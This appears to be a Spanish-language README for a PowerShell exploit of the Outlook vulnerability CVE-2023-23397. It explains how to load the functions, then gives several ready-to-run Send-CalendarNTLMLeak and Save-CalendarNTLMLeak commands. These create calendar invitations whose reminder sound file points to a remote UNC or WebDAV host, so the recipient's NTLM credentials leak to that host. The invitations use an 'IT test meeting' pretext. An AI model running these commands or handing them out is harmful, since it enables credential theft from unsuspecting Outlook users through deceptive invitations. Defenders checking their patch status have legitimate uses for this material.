
Script de PowerShell para explotar CVE-2023-23397 enviando o guardando invitaciones de calendario de Outlook maliciosas que provocan fuga de credenciales NTLM a través de la opción ReminderSoundFile.
Funciones de script para enviar o guardar fuga NTLM de calendario usando la opción ReminderSoundFile. Ejecute el script para cargar las funciones en Powershell, luego puede usar los ejemplos a continuación como punto de partida para usar las funciones. Requiere ejecutarse en una máquina Windows con Outlook instalado, ya que usa el objeto COM de Outlook para enviar correos. Tenga en cuenta que enviará el correo desde la cuenta de correo asociada a Outlook. Las funciones actuales agregarán la hora de inicio de la reunión en el momento en que se ejecute el script y la configurarán para que dure 2 horas.
Envío:
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Guardado:
Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
¡Hackea el Planeta!